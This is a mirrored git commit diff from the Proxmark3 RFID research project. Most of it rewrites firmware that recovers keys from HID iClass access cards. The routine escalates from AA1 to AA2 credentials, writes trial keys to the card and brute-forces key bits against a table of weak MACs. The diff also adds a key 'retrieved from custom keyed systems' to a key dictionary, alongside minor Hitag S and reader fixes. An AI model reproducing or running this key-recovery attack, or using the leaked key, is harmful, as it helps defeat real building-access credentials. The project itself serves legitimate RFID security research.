mirror of
https://github.com/RfidResearchGroup/proxmark3.git
synced 2025-08-21 05:43:48 -07:00
Merge branch 'RfidResearchGroup:master' into feature/staticnested
This commit is contained in:
commit
a1ca2fefa2
9 changed files with 248 additions and 161 deletions
|
@ -3,6 +3,9 @@ All notable changes to this project will be documented in this file.
|
||||||
This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log...
|
This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log...
|
||||||
|
|
||||||
## [unreleased][unreleased]
|
## [unreleased][unreleased]
|
||||||
|
- Changed `hf iclass info` - now checks for cards silicon version (@antiklesys)
|
||||||
|
- Changed `hf iclass legrec` - updated script implementation to ensure functionality (@antiklesys)
|
||||||
|
- Added recovered iclass custom key to dictionary (@antiklesys)
|
||||||
- Added support for all Hitag S response protocol mode (@douniwan5788)
|
- Added support for all Hitag S response protocol mode (@douniwan5788)
|
||||||
- Fixed 'hf_young.c' - flags declaration was missing a semicolon (@jakkpotts)
|
- Fixed 'hf_young.c' - flags declaration was missing a semicolon (@jakkpotts)
|
||||||
- Changed `hf mf sim` - add option to allow key b to be used even if readable (@doegox)
|
- Changed `hf mf sim` - add option to allow key b to be used even if readable (@doegox)
|
||||||
|
|
|
@ -1272,6 +1272,12 @@ void hts_read(const lf_hitag_data_t *payload, bool ledcontrol) {
|
||||||
|
|
||||||
while ((BUTTON_PRESS() == false) && (data_available() == false)) {
|
while ((BUTTON_PRESS() == false) && (data_available() == false)) {
|
||||||
|
|
||||||
|
if (payload->page_count == 0) {
|
||||||
|
if (page_addr > tag.max_page) break;
|
||||||
|
} else if (page_addr > 255 || page_addr >= payload->page + payload->page_count) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
WDT_HIT();
|
WDT_HIT();
|
||||||
|
|
||||||
size_t rxlen = 0;
|
size_t rxlen = 0;
|
||||||
|
@ -1289,7 +1295,7 @@ void hts_read(const lf_hitag_data_t *payload, bool ledcontrol) {
|
||||||
|
|
||||||
if (rxlen != 32 + (protocol_mode == HITAGS_UID_REQ_STD ? 0 : 8)) {
|
if (rxlen != 32 + (protocol_mode == HITAGS_UID_REQ_STD ? 0 : 8)) {
|
||||||
DBG Dbprintf("Read page failed!");
|
DBG Dbprintf("Read page failed!");
|
||||||
card.pages_reason[page_index] = -4;
|
card.pages_reason[page_index] = -11;
|
||||||
// status = PM3_ERFTRANS;
|
// status = PM3_ERFTRANS;
|
||||||
// goto read_end;
|
// goto read_end;
|
||||||
page_addr++;
|
page_addr++;
|
||||||
|
@ -1339,18 +1345,12 @@ void hts_read(const lf_hitag_data_t *payload, bool ledcontrol) {
|
||||||
//if the authentication is done with a challenge the key and password are unknown
|
//if the authentication is done with a challenge the key and password are unknown
|
||||||
DBG Dbprintf("Page[ 2]: __ __ __ __");
|
DBG Dbprintf("Page[ 2]: __ __ __ __");
|
||||||
DBG Dbprintf("Page[ 3]: __ __ __ __");
|
DBG Dbprintf("Page[ 3]: __ __ __ __");
|
||||||
card.pages_reason[page_index++] = -4;
|
card.pages_reason[page_index++] = -11;
|
||||||
card.pages_reason[page_index++] = -4;
|
card.pages_reason[page_index++] = -11;
|
||||||
}
|
}
|
||||||
// since page 2+3 are not accessible when LKP == 1 and AUT == 1 fastforward to next readable page
|
// since page 2+3 are not accessible when LKP == 1 and AUT == 1 fastforward to next readable page
|
||||||
page_addr = 4;
|
page_addr = 4;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (payload->page_count == 0) {
|
|
||||||
if (page_addr > tag.max_page) break;
|
|
||||||
} else if (page_addr > 255 || page_addr >= payload->page + payload->page_count) {
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
read_end:
|
read_end:
|
||||||
|
|
357
armsrc/iclass.c
357
armsrc/iclass.c
|
@ -2157,7 +2157,7 @@ out:
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
void generate_single_key_block_inverted(const uint8_t *startingKey, uint32_t index, uint8_t *keyBlock) {
|
static void generate_single_key_block_inverted(const uint8_t *startingKey, uint32_t index, uint8_t *keyBlock) {
|
||||||
uint32_t carry = index;
|
uint32_t carry = index;
|
||||||
memcpy(keyBlock, startingKey, PICOPASS_BLOCK_SIZE);
|
memcpy(keyBlock, startingKey, PICOPASS_BLOCK_SIZE);
|
||||||
|
|
||||||
|
@ -2176,77 +2176,20 @@ void generate_single_key_block_inverted(const uint8_t *startingKey, uint32_t ind
|
||||||
void iClass_Recover(iclass_recover_req_t *msg) {
|
void iClass_Recover(iclass_recover_req_t *msg) {
|
||||||
|
|
||||||
bool shallow_mod = false;
|
bool shallow_mod = false;
|
||||||
|
uint8_t zero_key[PICOPASS_BLOCK_SIZE] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
|
||||||
LED_A_ON();
|
uint8_t genkeyblock[PICOPASS_BLOCK_SIZE] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
|
||||||
Dbprintf(_RED_("Interrupting this process will render the card unusable!"));
|
uint32_t index = msg->index;
|
||||||
|
int bits_found = -1;
|
||||||
Iso15693InitReader();
|
bool recovered = false;
|
||||||
//Authenticate with AA2 with the standard key to get the AA2 mac
|
bool completed = false;
|
||||||
//Step0 Card Select Routine
|
|
||||||
|
|
||||||
uint32_t eof_time = 0;
|
|
||||||
picopass_hdr_t hdr = {0};
|
|
||||||
|
|
||||||
bool res = select_iclass_tag(&hdr, msg->req2.use_credit_key, &eof_time, shallow_mod);
|
|
||||||
//bool res = select_iclass_tag(&hdr, true, &eof_time, shallow_mod);
|
|
||||||
if (res == false) {
|
|
||||||
Dbprintf(_RED_("Unable to select card! Stopping."));
|
|
||||||
goto out;
|
|
||||||
} else {
|
|
||||||
DbpString(_GREEN_("Card selected successfully!"));
|
|
||||||
}
|
|
||||||
|
|
||||||
//Step1 Authenticate with AA2 using K2
|
|
||||||
|
|
||||||
uint8_t mac2[4] = {0};
|
|
||||||
uint32_t start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER;
|
|
||||||
res = authenticate_iclass_tag(&msg->req2, &hdr, &start_time, &eof_time, mac2);
|
|
||||||
if (res == false) {
|
|
||||||
Dbprintf(_RED_("Unable to authenticate with AA2 using K2! Stopping."));
|
|
||||||
goto out;
|
|
||||||
} else {
|
|
||||||
DbpString(_GREEN_("AA2 authentication with K2 successful!"));
|
|
||||||
}
|
|
||||||
|
|
||||||
uint8_t div_key2[8] = {0};
|
uint8_t div_key2[8] = {0};
|
||||||
memcpy(div_key2, hdr.key_c, 8);
|
uint32_t eof_time = 0;
|
||||||
|
uint32_t start_time = 0;
|
||||||
|
uint8_t read_check_cc[] = { 0x80 | ICLASS_CMD_READCHECK, 0x18 }; //block 24
|
||||||
|
read_check_cc[0] = 0x10 | ICLASS_CMD_READCHECK; //use credit key
|
||||||
|
uint8_t read_check_cc2[] = { 0x80 | ICLASS_CMD_READCHECK, 0x02 }; //block 2 -> to check Kd macs
|
||||||
|
|
||||||
//cycle reader to reset cypher state and be able to authenticate with k1 trace
|
/* iclass_mac_table is a series of weak macs, those weak macs correspond to the different combinations of the last 3 bits of each key byte. */
|
||||||
switch_off();
|
|
||||||
Iso15693InitReader();
|
|
||||||
DbpString(_YELLOW_("Cycled Reader..."));
|
|
||||||
|
|
||||||
//Step0 Card Select Routine
|
|
||||||
|
|
||||||
eof_time = 0;
|
|
||||||
//hdr = {0};
|
|
||||||
res = select_iclass_tag(&hdr, false, &eof_time, shallow_mod);
|
|
||||||
if (res == false) {
|
|
||||||
Dbprintf(_RED_("Unable to select card after reader cycle! Stopping."));
|
|
||||||
goto out;
|
|
||||||
} else {
|
|
||||||
DbpString(_GREEN_("Card selected successfully!"));
|
|
||||||
}
|
|
||||||
|
|
||||||
//Step1 Authenticate with AA1 using trace
|
|
||||||
|
|
||||||
uint8_t mac1[4] = {0};
|
|
||||||
start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER;
|
|
||||||
res = authenticate_iclass_tag(&msg->req, &hdr, &start_time, &eof_time, mac1);
|
|
||||||
if (res == false) {
|
|
||||||
Dbprintf(_RED_("Unable to authenticate on AA1 using macs! Stopping."));
|
|
||||||
goto out;
|
|
||||||
} else {
|
|
||||||
DbpString(_GREEN_("Authenticated with AA1 with macs!"));
|
|
||||||
}
|
|
||||||
|
|
||||||
//Step2 Privilege Escalation: attempt to read AA2 with credentials for AA1
|
|
||||||
uint8_t blockno = 24;
|
|
||||||
uint8_t cmd_read[] = {ICLASS_CMD_READ_OR_IDENTIFY, blockno, 0x00, 0x00};
|
|
||||||
AddCrc(cmd_read + 1, 1);
|
|
||||||
uint8_t resp[10];
|
|
||||||
DbpString(_YELLOW_("Attempting privilege escalation..."));
|
|
||||||
res = iclass_send_cmd_with_retries(cmd_read, sizeof(cmd_read), resp, sizeof(resp), 10, 3, &start_time, ICLASS_READER_TIMEOUT_OTHERS, &eof_time, shallow_mod);
|
|
||||||
|
|
||||||
static uint8_t iclass_mac_table[8][8] = { //Reference weak macs table
|
static uint8_t iclass_mac_table[8][8] = { //Reference weak macs table
|
||||||
{ 0x00, 0x00, 0x00, 0x00, 0xBF, 0x5D, 0x67, 0x7F }, //Expected mac when last 3 bits of each byte are: 000
|
{ 0x00, 0x00, 0x00, 0x00, 0xBF, 0x5D, 0x67, 0x7F }, //Expected mac when last 3 bits of each byte are: 000
|
||||||
|
@ -2258,107 +2201,227 @@ void iClass_Recover(iclass_recover_req_t *msg) {
|
||||||
{ 0x00, 0x00, 0x00, 0x00, 0x1A, 0xA7, 0x66, 0x46 }, //Expected mac when last 3 bits of each byte are: 110
|
{ 0x00, 0x00, 0x00, 0x00, 0x1A, 0xA7, 0x66, 0x46 }, //Expected mac when last 3 bits of each byte are: 110
|
||||||
{ 0x00, 0x00, 0x00, 0x00, 0xE2, 0xD5, 0x69, 0xE9 } //Expected mac when last 3 bits of each byte are: 111
|
{ 0x00, 0x00, 0x00, 0x00, 0xE2, 0xD5, 0x69, 0xE9 } //Expected mac when last 3 bits of each byte are: 111
|
||||||
};
|
};
|
||||||
//Viewing the weak macs table card 24 bits (3x8) in the form of a 24 bit decimal number
|
|
||||||
static uint32_t iclass_mac_table_bit_values[8] = {0, 2396745, 4793490, 7190235, 9586980, 11983725, 14380470, 16777215};
|
|
||||||
|
|
||||||
/* iclass_mac_table is a series of weak macs, those weak macs correspond to the different combinations of the last 3 bits of each key byte.
|
LED_A_ON();
|
||||||
If we concatenate the last three bits of each key byte, we have a 24 bits long binary string.
|
DbpString(_RED_("Interrupting this process will render the card unusable!"));
|
||||||
If we convert that string to decimal we obtain the decimal numbers in iclass_mac_table_bit_values
|
memcpy(div_key2, msg->nfa, 8);
|
||||||
Xorring the index of iterations against those decimal numbers allows us to retrieve the what was the corresponding sequence of bits of the original key in decimal format. */
|
|
||||||
|
|
||||||
uint8_t zero_key[PICOPASS_BLOCK_SIZE] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
|
|
||||||
uint32_t index = 1;
|
|
||||||
int bits_found = -1;
|
|
||||||
|
|
||||||
//START LOOP
|
//START LOOP
|
||||||
|
uint32_t loops = 1;
|
||||||
|
|
||||||
while (bits_found == -1) {
|
while (bits_found == -1) {
|
||||||
|
bool card_select = false;
|
||||||
|
bool card_auth = false;
|
||||||
|
int reinit_tentatives = 0;
|
||||||
|
uint8_t original_mac[8] = {0};
|
||||||
|
uint16_t resp_len = 0;
|
||||||
|
int res2;
|
||||||
|
uint8_t resp[10] = {0};
|
||||||
|
uint8_t mac1[4] = {0};
|
||||||
|
uint8_t mac2[4] = {0};
|
||||||
|
picopass_hdr_t hdr = {0};
|
||||||
|
bool res = false;
|
||||||
|
|
||||||
//Step3 Calculate New Key
|
while(!card_select || !card_auth){
|
||||||
uint8_t genkeyblock[PICOPASS_BLOCK_SIZE];
|
Iso15693InitReader(); //has to be at the top as it starts tracing
|
||||||
uint8_t genkeyblock_old[PICOPASS_BLOCK_SIZE];
|
if(!msg->debug){
|
||||||
uint8_t xorkeyblock[PICOPASS_BLOCK_SIZE];
|
set_tracing(false); //disable tracing to prevent crashes - set to true for debugging
|
||||||
generate_single_key_block_inverted(zero_key, index, genkeyblock);
|
}else{
|
||||||
|
if (loops == 1){
|
||||||
//NOTE BEFORE UPDATING THE KEY WE NEED TO KEEP IN MIND KEYS ARE XORRED
|
clear_trace(); //if we're debugging better to clear the trace but do it only on the first loop
|
||||||
//xor the new key against the previously generated key so that we only update the difference
|
}
|
||||||
if (index != 0) {
|
|
||||||
generate_single_key_block_inverted(zero_key, index - 1, genkeyblock_old);
|
|
||||||
for (int i = 0; i < 8 ; i++) {
|
|
||||||
xorkeyblock[i] = genkeyblock[i] ^ genkeyblock_old[i];
|
|
||||||
}
|
}
|
||||||
} else {
|
if(msg->test){
|
||||||
memcpy(xorkeyblock, genkeyblock, PICOPASS_BLOCK_SIZE);
|
Dbprintf(_YELLOW_("*Cycled Reader*") " ----------------- TEST Index - Loops: "_YELLOW_("%3d / %3d") " --------------*",loops,msg->loop);
|
||||||
|
}else{
|
||||||
|
Dbprintf(_YELLOW_("*Cycled Reader*") " ----------------- Index: "_RED_("%3d")" Loops: "_YELLOW_("%3d / %3d") " --------------*",index,loops,msg->loop);
|
||||||
|
}
|
||||||
|
//Step0 Card Select Routine
|
||||||
|
eof_time = 0; //reset eof time
|
||||||
|
res = select_iclass_tag(&hdr, false, &eof_time, shallow_mod);
|
||||||
|
if (res == false) {
|
||||||
|
DbpString(_RED_("Unable to select card after reader cycle! Retrying..."));
|
||||||
|
} else {
|
||||||
|
DbpString(_GREEN_("Card selected successfully!"));
|
||||||
|
card_select = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
//Step1 Authenticate with AA1 using trace
|
||||||
|
if(card_select){
|
||||||
|
memcpy(original_mac, msg->req.key, 8);
|
||||||
|
start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER;
|
||||||
|
res = authenticate_iclass_tag(&msg->req, &hdr, &start_time, &eof_time, mac1);
|
||||||
|
if (res == false) {
|
||||||
|
DbpString(_RED_("Unable to authenticate on AA1 using macs! Retrying..."));
|
||||||
|
}else {
|
||||||
|
DbpString(_GREEN_("AA1 authentication with macs successful!"));
|
||||||
|
card_auth = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if(!card_auth || !card_select){
|
||||||
|
reinit_tentatives++;
|
||||||
|
switch_off();
|
||||||
|
}
|
||||||
|
if(reinit_tentatives == 5){
|
||||||
|
DbpString(_RED_("Unable to select or authenticate with card multiple times! Stopping."));
|
||||||
|
goto out;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
//Step2 Privilege Escalation: attempt to read AA2 with credentials for AA1
|
||||||
|
uint8_t blockno = 24;
|
||||||
|
uint8_t cmd_read[] = {ICLASS_CMD_READ_OR_IDENTIFY, blockno, 0x00, 0x00};
|
||||||
|
AddCrc(cmd_read + 1, 1);
|
||||||
|
int priv_esc_tries = 0;
|
||||||
|
bool priv_esc = false;
|
||||||
|
while(!priv_esc){
|
||||||
|
//The privilege escalation is done with a readcheck and not just a normal read!
|
||||||
|
iclass_send_as_reader(read_check_cc, sizeof(read_check_cc), &start_time, &eof_time, shallow_mod);
|
||||||
|
// expect a 8-byte response here
|
||||||
|
res2 = GetIso15693AnswerFromTag(resp, sizeof(resp), ICLASS_READER_TIMEOUT_OTHERS, &eof_time, false, true, &resp_len);
|
||||||
|
if (res2 != PM3_SUCCESS || resp_len != 8){
|
||||||
|
DbpString(_YELLOW_("Privilege Escalation -> ")_RED_("Read failed! Trying again..."));
|
||||||
|
priv_esc_tries++;
|
||||||
|
}else{
|
||||||
|
DbpString(_YELLOW_("Privilege Escalation -> ")_GREEN_("Response OK!"));
|
||||||
|
priv_esc = true;
|
||||||
|
}
|
||||||
|
if(priv_esc_tries == 5){
|
||||||
|
DbpString(_RED_("Unable to complete privilege escalation! Stopping."));
|
||||||
|
goto out;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
generate_single_key_block_inverted(zero_key, index, genkeyblock);
|
||||||
|
if(msg->test){
|
||||||
|
memcpy(genkeyblock, zero_key, PICOPASS_BLOCK_SIZE);
|
||||||
}
|
}
|
||||||
|
|
||||||
//Step4 Calculate New Mac
|
//Step4 Calculate New Mac
|
||||||
|
|
||||||
bool use_mac = true;
|
|
||||||
uint8_t wb[9] = {0};
|
uint8_t wb[9] = {0};
|
||||||
blockno = 3;
|
blockno = 3;
|
||||||
wb[0] = blockno;
|
wb[0] = blockno;
|
||||||
memcpy(wb + 1, xorkeyblock, 8);
|
memcpy(wb + 1, genkeyblock, 8);
|
||||||
doMAC_N(wb, sizeof(wb), div_key2, mac2);
|
doMAC_N(wb, sizeof(wb), div_key2, mac2);
|
||||||
|
bool use_mac = true;
|
||||||
//Step5 Perform Write
|
bool written = false;
|
||||||
|
bool write_error = false;
|
||||||
DbpString("Generated XOR Key: ");
|
while(written == false && write_error == false){
|
||||||
Dbhexdump(8, xorkeyblock, false);
|
//Step5 Perform Write
|
||||||
|
if (iclass_writeblock_ext(blockno, genkeyblock, mac2, use_mac, shallow_mod)) {
|
||||||
if (iclass_writeblock_ext(blockno, xorkeyblock, mac2, use_mac, shallow_mod)) {
|
DbpString("Wrote key: ");
|
||||||
Dbprintf("Write block [%3d/0x%02X] " _GREEN_("successful"), blockno, blockno);
|
Dbhexdump(8, genkeyblock, false);
|
||||||
} else {
|
|
||||||
Dbprintf("Write block [%3d/0x%02X] " _RED_("failed"), blockno, blockno);
|
|
||||||
if (index > 1) {
|
|
||||||
Dbprintf(_RED_("Card is likely to be unusable!"));
|
|
||||||
}
|
}
|
||||||
|
//Reset cypher state
|
||||||
|
iclass_send_as_reader(read_check_cc2, sizeof(read_check_cc2), &start_time, &eof_time, shallow_mod);
|
||||||
|
res2 = GetIso15693AnswerFromTag(resp, sizeof(resp), ICLASS_READER_TIMEOUT_OTHERS, &eof_time, false, true, &resp_len);
|
||||||
|
//try to authenticate with the original mac to verify the write happened
|
||||||
|
memcpy(msg->req.key, original_mac, 8);
|
||||||
|
res = authenticate_iclass_tag(&msg->req, &hdr, &start_time, &eof_time, mac1);
|
||||||
|
if(msg->test){
|
||||||
|
if (res != true) {
|
||||||
|
DbpString(_RED_("*** CARD EPURSE IS SILENT! RISK OF BRICKING! DO NOT EXECUTE KEY UPDATES! SCAN IT ON READER FOR EPURSE UPDATE, COLLECT NEW TRACES AND TRY AGAIN! ***"));
|
||||||
|
goto out;
|
||||||
|
}else{
|
||||||
|
DbpString(_GREEN_("*** CARD EPURSE IS LOUD! OK TO ATTEMPT KEY RETRIEVAL! RUN AGAIN WITH -notest ***"));
|
||||||
|
completed = true;
|
||||||
|
goto out;
|
||||||
|
}
|
||||||
|
}else{
|
||||||
|
if (res != true) {
|
||||||
|
DbpString("Write Operation : "_GREEN_("VERIFIED! Card Key Updated!"));
|
||||||
|
written = true;
|
||||||
|
}else{
|
||||||
|
DbpString("Write Operation : "_RED_("FAILED! Card Key is the Original. Retrying..."));
|
||||||
|
write_error = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if(!write_error){
|
||||||
|
//Step6 Perform 8 authentication attempts + 1 to verify if we found the weak key
|
||||||
|
for (int i = 0; i < 8 ; ++i) {
|
||||||
|
iclass_send_as_reader(read_check_cc2, sizeof(read_check_cc2), &start_time, &eof_time, shallow_mod);
|
||||||
|
res2 = GetIso15693AnswerFromTag(resp, sizeof(resp), ICLASS_READER_TIMEOUT_OTHERS, &eof_time, false, true, &resp_len);
|
||||||
|
//need to craft the authentication payload accordingly
|
||||||
|
memcpy(msg->req.key, iclass_mac_table[i], 8);
|
||||||
|
res = authenticate_iclass_tag(&msg->req, &hdr, &start_time, &eof_time, mac1); //mac1 here shouldn't matter
|
||||||
|
if (res == true) {
|
||||||
|
bits_found = i;
|
||||||
|
DbpString(_RED_("--------------------------------------------------------"));
|
||||||
|
Dbprintf("Decimal Value of last 3 bits: " _GREEN_("[%3d]"), bits_found);
|
||||||
|
DbpString(_RED_("--------------------------------------------------------"));
|
||||||
|
recovered = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
//regardless of bits being found, restore the original key and verify it
|
||||||
|
bool reverted = false;
|
||||||
|
uint8_t revert_retries = 0;
|
||||||
|
while(!reverted){
|
||||||
|
//Regain privilege escalation with a readcheck
|
||||||
|
iclass_send_as_reader(read_check_cc, sizeof(read_check_cc), &start_time, &eof_time, shallow_mod);
|
||||||
|
res2 = GetIso15693AnswerFromTag(resp, sizeof(resp), ICLASS_READER_TIMEOUT_OTHERS, &eof_time, false, true, &resp_len);
|
||||||
|
|
||||||
|
DbpString(_YELLOW_("Attempting to restore the original key. "));
|
||||||
|
if (iclass_writeblock_ext(blockno, genkeyblock, mac2, use_mac, shallow_mod)) {
|
||||||
|
DbpString("Restore of Original Key "_GREEN_("successful."));
|
||||||
|
} else {
|
||||||
|
DbpString("Restore of Original Key " _RED_("failed."));
|
||||||
|
}
|
||||||
|
DbpString(_YELLOW_("Verifying Key Restore..."));
|
||||||
|
//Do a readcheck first to reset the cypher state
|
||||||
|
iclass_send_as_reader(read_check_cc2, sizeof(read_check_cc2), &start_time, &eof_time, shallow_mod);
|
||||||
|
res2 = GetIso15693AnswerFromTag(resp, sizeof(resp), ICLASS_READER_TIMEOUT_OTHERS, &eof_time, false, true, &resp_len);
|
||||||
|
|
||||||
|
//need to craft the authentication payload accordingly
|
||||||
|
memcpy(msg->req.key, original_mac, 8);
|
||||||
|
res = authenticate_iclass_tag(&msg->req, &hdr, &start_time, &eof_time, mac1);
|
||||||
|
if (res == true) {
|
||||||
|
DbpString("Restore of Original Key "_GREEN_("VERIFIED! Card is usable again."));
|
||||||
|
reverted = true;
|
||||||
|
if (recovered){
|
||||||
|
goto restore;
|
||||||
|
}
|
||||||
|
}else{
|
||||||
|
DbpString("Restore of Original Key "_RED_("VERIFICATION FAILED! Trying again..."));
|
||||||
|
}
|
||||||
|
|
||||||
|
revert_retries++;
|
||||||
|
if(revert_retries >= 7){ //must always be an odd number!
|
||||||
|
Dbprintf(_RED_("Attempted to restore original key for %3d times and failed. Stopping. Card is likely unusable."), revert_retries);
|
||||||
|
goto out;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
if(loops >= msg->loop){
|
||||||
|
completed = true;
|
||||||
goto out;
|
goto out;
|
||||||
}
|
}
|
||||||
//Step6 Perform 8 authentication attempts
|
if(!write_error){ //if there was a write error, re-run the loop for the same key index
|
||||||
|
loops++;
|
||||||
for (int i = 0; i < 8 ; ++i) {
|
index++;
|
||||||
//need to craft the authentication payload accordingly
|
|
||||||
memcpy(msg->req.key, iclass_mac_table[i], 8);
|
|
||||||
res = authenticate_iclass_tag(&msg->req, &hdr, &start_time, &eof_time, mac1); //mac1 here shouldn't matter
|
|
||||||
if (res == true) {
|
|
||||||
bits_found = iclass_mac_table_bit_values[i] ^ index;
|
|
||||||
Dbprintf("Found Card Bits Index: " _GREEN_("[%3d]"), index);
|
|
||||||
Dbprintf("Mac Table Bit Values: " _GREEN_("[%3d]"), iclass_mac_table_bit_values[i]);
|
|
||||||
Dbprintf("Decimal Value of Partial Key: " _GREEN_("[%3d]"), bits_found);
|
|
||||||
goto restore;
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
index++;
|
|
||||||
}//end while
|
}//end while
|
||||||
|
|
||||||
|
|
||||||
restore:
|
restore:
|
||||||
;//empty statement for compilation
|
;//empty statement for compilation
|
||||||
uint8_t partialkey[PICOPASS_BLOCK_SIZE];
|
uint8_t partialkey[PICOPASS_BLOCK_SIZE] = {0};
|
||||||
convertToHexArray(bits_found, partialkey);
|
|
||||||
|
|
||||||
uint8_t resetkey[PICOPASS_BLOCK_SIZE];
|
for(int i = 0; i < PICOPASS_BLOCK_SIZE; i++){
|
||||||
convertToHexArray(index, resetkey);
|
partialkey[i] = genkeyblock[i] ^ bits_found;
|
||||||
|
|
||||||
//Calculate reset Mac
|
|
||||||
|
|
||||||
bool use_mac = true;
|
|
||||||
uint8_t wb[9] = {0};
|
|
||||||
blockno = 3;
|
|
||||||
wb[0] = blockno;
|
|
||||||
memcpy(wb + 1, resetkey, 8);
|
|
||||||
doMAC_N(wb, sizeof(wb), div_key2, mac2);
|
|
||||||
|
|
||||||
//Write back the card to the original key
|
|
||||||
DbpString(_YELLOW_("Restoring Card to the original key using Reset Key: "));
|
|
||||||
Dbhexdump(8, resetkey, false);
|
|
||||||
if (iclass_writeblock_ext(blockno, resetkey, mac2, use_mac, shallow_mod)) {
|
|
||||||
Dbprintf("Restore of Original Key "_GREEN_("successful. Card is usable again."));
|
|
||||||
} else {
|
|
||||||
Dbprintf("Restore of Original Key " _RED_("failed. Card is likely unusable."));
|
|
||||||
}
|
}
|
||||||
|
|
||||||
//Print the 24 bits found from k1
|
//Print the 24 bits found from k1
|
||||||
DbpString(_YELLOW_("Raw Key Partial Bytes: "));
|
DbpString(_RED_("--------------------------------------------------------"));
|
||||||
|
DbpString(_RED_("SUCCESS! Raw Key Partial Bytes: "));
|
||||||
Dbhexdump(8, partialkey, false);
|
Dbhexdump(8, partialkey, false);
|
||||||
|
DbpString(_RED_("--------------------------------------------------------"));
|
||||||
switch_off();
|
switch_off();
|
||||||
reply_ng(CMD_HF_ICLASS_RECOVER, PM3_SUCCESS, NULL, 0);
|
reply_ng(CMD_HF_ICLASS_RECOVER, PM3_SUCCESS, NULL, 0);
|
||||||
|
|
||||||
|
@ -2366,6 +2429,10 @@ restore:
|
||||||
out:
|
out:
|
||||||
|
|
||||||
switch_off();
|
switch_off();
|
||||||
reply_ng(CMD_HF_ICLASS_RECOVER, PM3_ESOFT, NULL, 0);
|
if(completed){
|
||||||
|
reply_ng(CMD_HF_ICLASS_RECOVER, PM3_EINVARG, NULL, 0);
|
||||||
|
}else{
|
||||||
|
reply_ng(CMD_HF_ICLASS_RECOVER, PM3_ESOFT, NULL, 0);
|
||||||
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
|
@ -71,6 +71,5 @@ bool authenticate_iclass_tag(iclass_auth_req_t *payload, picopass_hdr_t *hdr, ui
|
||||||
uint8_t get_pagemap(const picopass_hdr_t *hdr);
|
uint8_t get_pagemap(const picopass_hdr_t *hdr);
|
||||||
void iclass_send_as_reader(uint8_t *frame, int len, uint32_t *start_time, uint32_t *end_time, bool shallow_mod);
|
void iclass_send_as_reader(uint8_t *frame, int len, uint32_t *start_time, uint32_t *end_time, bool shallow_mod);
|
||||||
|
|
||||||
void generate_single_key_block_inverted(const uint8_t *startingKey, uint32_t index, uint8_t *keyBlock);
|
|
||||||
void iClass_Recover(iclass_recover_req_t *msg);
|
void iClass_Recover(iclass_recover_req_t *msg);
|
||||||
#endif
|
#endif
|
||||||
|
|
|
@ -39,3 +39,5 @@ C1B74D7478053AE2
|
||||||
#
|
#
|
||||||
# default iCLASS RFIDeas
|
# default iCLASS RFIDeas
|
||||||
6B65797374726B72
|
6B65797374726B72
|
||||||
|
# Retrieved from Custom Keyed Systems
|
||||||
|
E9924C13F4BFA82C
|
||||||
|
|
|
@ -1411,7 +1411,7 @@ static bool HF14B_ask_ct_reader(bool verbose) {
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
static bool HF14B_picopass_reader(bool verbose) {
|
bool HF14B_picopass_reader(bool verbose, bool info) {
|
||||||
|
|
||||||
iso14b_raw_cmd_t packet = {
|
iso14b_raw_cmd_t packet = {
|
||||||
.flags = (ISO14B_CONNECT | ISO14B_SELECT_PICOPASS | ISO14B_DISCONNECT),
|
.flags = (ISO14B_CONNECT | ISO14B_SELECT_PICOPASS | ISO14B_DISCONNECT),
|
||||||
|
@ -1437,8 +1437,10 @@ static bool HF14B_picopass_reader(bool verbose) {
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
memcpy(card, resp.data.asBytes, sizeof(picopass_hdr_t));
|
memcpy(card, resp.data.asBytes, sizeof(picopass_hdr_t));
|
||||||
PrintAndLogEx(NORMAL, "");
|
if(info){
|
||||||
PrintAndLogEx(SUCCESS, "iCLASS / Picopass CSN: " _GREEN_("%s"), sprint_hex(card->csn, sizeof(card->csn)));
|
PrintAndLogEx(NORMAL, "");
|
||||||
|
PrintAndLogEx(SUCCESS, "iCLASS / Picopass CSN: " _GREEN_("%s"), sprint_hex(card->csn, sizeof(card->csn)));
|
||||||
|
}
|
||||||
free(card);
|
free(card);
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
@ -3034,6 +3036,7 @@ int infoHF14B(bool verbose, bool do_aid_search) {
|
||||||
// get and print general info about all known 14b chips
|
// get and print general info about all known 14b chips
|
||||||
int readHF14B(bool loop, bool verbose, bool read_plot) {
|
int readHF14B(bool loop, bool verbose, bool read_plot) {
|
||||||
bool found = false;
|
bool found = false;
|
||||||
|
bool info = true;
|
||||||
int res = PM3_SUCCESS;
|
int res = PM3_SUCCESS;
|
||||||
do {
|
do {
|
||||||
found = false;
|
found = false;
|
||||||
|
@ -3049,7 +3052,7 @@ int readHF14B(bool loop, bool verbose, bool read_plot) {
|
||||||
goto plot;
|
goto plot;
|
||||||
|
|
||||||
// Picopass
|
// Picopass
|
||||||
found |= HF14B_picopass_reader(verbose);
|
found |= HF14B_picopass_reader(verbose, info);
|
||||||
if (found)
|
if (found)
|
||||||
goto plot;
|
goto plot;
|
||||||
|
|
||||||
|
|
|
